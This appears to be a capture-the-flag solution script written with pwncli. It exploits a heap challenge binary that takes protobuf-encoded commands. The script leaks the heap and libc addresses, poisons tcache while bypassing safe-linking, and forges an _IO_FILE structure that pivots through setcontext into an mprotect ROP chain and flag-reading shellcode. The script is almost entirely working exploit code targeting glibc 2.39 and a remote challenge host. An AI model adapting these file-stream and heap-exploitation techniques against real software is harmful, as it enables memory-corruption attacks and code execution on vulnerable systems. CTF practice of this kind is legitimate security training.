1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174
| from pwncli import * import ctf_pb2
context.terminal = ["tmux", "splitw", "-h", "-l", "190"] local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote": addr = '10.10.1.108 21784' ip, port = re.split(r'[\s:]+', addr) gift.io = remote(ip, port) else: gift.io = process('./pwn') gift.remote = local_flag in ("remote", "nodbg") init_x64_context(gift.io, gift) libc = load_libc() gift.elf = ELF('./pwn')
input_after_this = b'Your prompt >>'
def add(size, content): proto = ctf_pb2.HeapPayload() proto.option = 1 proto.chunk_sizes = size proto.heap_chunks_id = 0 proto.heap_content = content d = proto.SerializeToString() sa(input_after_this, p32(len(d))) s(d)
def dele(idx): proto = ctf_pb2.HeapPayload() proto.option = 2 proto.chunk_sizes = 0 proto.heap_chunks_id = idx proto.heap_content = b'inkey' d = proto.SerializeToString() sa(input_after_this, p32(len(d))) s(d)
def edit(idx, data, len1=0): proto = ctf_pb2.HeapPayload() proto.option = 3 proto.chunk_sizes = 0x400 proto.heap_chunks_id = idx proto.heap_content = data d = proto.SerializeToString() if len1 == 0: sa(input_after_this, p32(len(d))) s(d) else: sa(input_after_this, p32(len1)) s(d.ljust(len1, b'\x00'))
def show(idx): proto = ctf_pb2.HeapPayload() proto.option = 4 proto.chunk_sizes = 0 proto.heap_chunks_id = idx proto.heap_content = b'inkey' d = proto.SerializeToString() sa(input_after_this, p32(len(d))) s(d)
def exit_(): proto = ctf_pb2.HeapPayload() proto.option = 5 proto.chunk_sizes = 0 proto.heap_chunks_id = 0 proto.heap_content = b'1' d = proto.SerializeToString() sa(input_after_this, p32(len(d))) s(d)
cmd = ''' brva 0x186F brva 0x19E7 brva 0x1B62 brva 0x1C3F
# brva 0x1D68 # b _IO_wfile_underflow # b __libio_codecvt_in b setcontext set $heap = $rebase(0x5060) dir /mnt/f/Documents/CTF/glibc/glibc-2.39
c '''
add(0x10, b'1111') add(0x138, b'2222') add(0x138, b'3333') dele(2) edit(1, b'a' * 0x140) show(1) ru(b'a' * 0x140) heap_base = (u64_ex(r(5)) << 12) - 0x7000 log_heap_base_addr(heap_base)
add(0x138, b'b') add(0x258, b'b') add(0x458, b'b') add(0x458, b'b') add(0x258, b'b') dele(5) edit(6, b'a' * 0x330) show(6) libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x203D30 set_current_libc_base_and_log(libc_base)
add(0x258, b'b') add(0x258, b'b') add(0x258, b'b')
dele(5) dele(8) edit(7, b'b' * 0x240 + p64(libc.sym.mprotect) * 4 + p64(protect_ptr(heap_base + 0x5770, libc.sym._IO_list_all - 0x0)))
CG.set_find_area(False, True) rbx = CG.pop_rbx_ret() mov_rdx_rbx = libc_base + 0xB0133
payload0 = flat([rbx, 7, mov_rdx_rbx, 0, 0, 0, libc.sym.mprotect, heap_base + 0x58A8]) + ShellcodeMall.amd64.cat_flag
fake_IO_FILE = heap_base + 0x5770 payload1 = flat( { 0x0: u64_ex(" sh"), 0x28: libc.sym.setcontext, 0x68: heap_base, 0x70: 0x10000, 0x88: heap_base, 0xA0: fake_IO_FILE + 0xD0 - 0xE0, 0xA8: libc_base + 0x4D68C, 0xD0: fake_IO_FILE + 0x28 - 0x68, 0xD8: libc.sym._IO_wfile_jumps, 0xE0: heap_base + 0x1000, 0xF8: payload0, }, filler=b'\x00', )
add(0x258, payload1)
revio = b'\x00' * 0xE0 + flat( { 0x0: 0xFBAD2087, 8: p64(libc_base + 0x204643) * 7, 64: libc_base + 0x204644, 112: 1, 120: -1, 136: libc_base + 0x205710, 144: -1, 160: libc_base + 0x2037E0, 192: p32_ex(-1) + p32(0), 216: libc.sym._IO_file_jumps, }, filler=b'\x00', )
add(0x258, p64(fake_IO_FILE) * 4 + revio) launch_gdb(cmd) exit_()
ia()
|